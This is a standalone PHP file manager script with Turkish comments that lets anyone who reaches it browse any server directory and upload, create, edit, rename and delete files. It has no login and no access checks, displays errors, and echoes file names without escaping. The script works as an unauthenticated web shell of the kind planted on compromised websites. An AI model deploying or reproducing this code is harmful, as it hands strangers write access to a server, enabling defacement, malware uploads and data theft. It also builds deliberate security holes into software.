<?php
// Hataları göster
ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
error_reporting(E_ALL);

session_start();

// Geçerli dizin
$path = isset($_GET['path']) ? realpath($_GET['path']) : getcwd();
if (!$path || !is_dir($path)) {
    $path = getcwd();
}

// Dosya/folder adı alımı
$item = isset($_GET['item']) ? basename($_GET['item']) : '';
$itemPath = $path . DIRECTORY_SEPARATOR . $item;

// === Ana Dizin Listeleyici ===
function listDirectory($path) {
    $items = array_diff(scandir($path), ['.', '..']);
    echo "<h3>📁 Current Directory: $path</h3><ul>";
    foreach ($items as $item) {
        $itemFull = realpath($path . DIRECTORY_SEPARATOR . $item);
        if (is_dir($itemFull)) {
            echo "<li>📂 <a href='?path=" . urlencode($itemFull) . "'>$item</a></li>";
        } else {
            echo "<li>📄 $item 
                [<a href='?path=" . urlencode($path) . "&action=edit&item=" . urlencode($item) . "'>Edit</a>] 
                [<a href='?path=" . urlencode($path) . "&action=delete&item=" . urlencode($item) . "'>Delete</a>] 
                [<a href='?path=" . urlencode($path) . "&action=rename&item=" . urlencode($item) . "'>Rename</a>]
            </li>";
        }
    }
    echo "</ul>";
}

// === Dosya Yükleme İşlevi ===
function handleUpload($path) {
    if (!empty($_FILES['file']['name'])) {
        $target = $path . DIRECTORY_SEPARATOR . basename($_FILES['file']['name']);
        if (move_uploaded_file($_FILES['file']['tmp_name'], $target)) {
            echo "<p style='color:green;'>✅ File uploaded.</p>";
        } else {
            echo "<p style='color:red;'>❌ Upload failed.</p>";
        }
    }
}

// === Klasör Oluşturma ===
function createFolder($path) {
    $folder = trim($_POST['folder_name']);
    if (!$folder) return;

    $folderPath = $path . DIRECTORY_SEPARATOR . $folder;
    if (!file_exists($folderPath)) {
        mkdir($folderPath);
        echo "<p style='color:green;'>📁 Folder created: $folder</p>";
    } else {
        echo "<p style='color:red;'>⚠️ Folder already exists.</p>";
    }
}

// === Dosya Oluşturma ===
function createFile($path) {
    $filename = trim($_POST['file_name']);
    if (!$filename) return;

    $filePath = $path . DIRECTORY_SEPARATOR . $filename;
    if (!file_exists($filePath)) {
        file_put_contents($filePath, '');
        echo "<p style='color:green;'>📄 File created: $filename</p>";
    } else {
        echo "<p style='color:red;'>⚠️ File already exists.</p>";
    }
}

// === Dosya Düzenleme ===
function editFile($filePath) {
    if (!file_exists($filePath)) {
        echo "<p style='color:red;'>❌ File does not exist.</p>";
        return;
    }

    if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['content'])) {
        file_put_contents($filePath, $_POST['content']);
        echo "<p style='color:green;'>✅ File saved!</p>";
    }

    $content = htmlspecialchars(file_get_contents($filePath));
    echo "<h3>✏️ Editing File: " . basename($filePath) . "</h3>";
    echo "<form method='POST'>
            <textarea name='content' style='width:100%; height:300px;'>$content</textarea><br>
            <button type='submit'>Save</button>
          </form>";
}

// === Dosya Silme ===
function deleteFile($filePath) {
    if (file_exists($filePath) && is_file($filePath)) {
        unlink($filePath);
        echo "<p style='color:green;'>🗑️ File deleted.</p>";
    } else {
        echo "<p style='color:red;'>❌ File not found.</p>";
    }
}

// === Yeniden Adlandırma ===
function renameItem($filePath) {
    if (!file_exists($filePath)) {
        echo "<p style='color:red;'>❌ Item does not exist.</p>";
        return;
    }

    if ($_SERVER['REQUEST_METHOD'] === 'POST' && !empty($_POST['new_name'])) {
        $newPath = dirname($filePath) . DIRECTORY_SEPARATOR . basename($_POST['new_name']);
        if (rename($filePath, $newPath)) {
            echo "<p style='color:green;'>✅ Renamed successfully.</p>";
        } else {
            echo "<p style='color:red;'>❌ Rename failed.</p>";
        }
    } else {
        echo "<h3>✏️ Rename: " . basename($filePath) . "</h3>
              <form method='POST'>
                <input type='text' name='new_name' placeholder='New name' required>
                <button type='submit'>Rename</button>
              </form>";
    }
}

// === POST işlemleri ===
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    if (isset($_FILES['file'])) {
        handleUpload($path);
    } elseif (isset($_POST['folder_name'])) {
        createFolder($path);
    } elseif (isset($_POST['file_name'])) {
        createFile($path);
    }
}

// === GET işlemleri ===
if (isset($_GET['action']) && $item) {
    switch ($_GET['action']) {
        case 'edit':
            editFile($itemPath);
            break;
        case 'delete':
            deleteFile($itemPath);
            break;
        case 'rename':
            renameItem($itemPath);
            break;
    }
}

// === Üst Dizin Butonu ===
echo "<a href='?path=" . urlencode(dirname($path)) . "'>⬅️ Go Up</a>";

// === Dizin Gösterimi ===
listDirectory($path);

// === Formlar ===
echo <<<HTML
<hr>
<h3>📤 Upload File</h3>
<form method="POST" enctype="multipart/form-data">
    <input type="file" name="file" required>
    <button type="submit">Upload</button>
</form>

<h3>📁 Create Folder</h3>
<form method="POST">
    <input type="text" name="folder_name" placeholder="Folder name" required>
    <button type="submit">Create</button>
</form>

<h3>📄 Create File</h3>
<form method="POST">
    <input type="text" name="file_name" placeholder="File name" required>
    <button type="submit">Create</button>
</form>
HTML;

• [F] index.php
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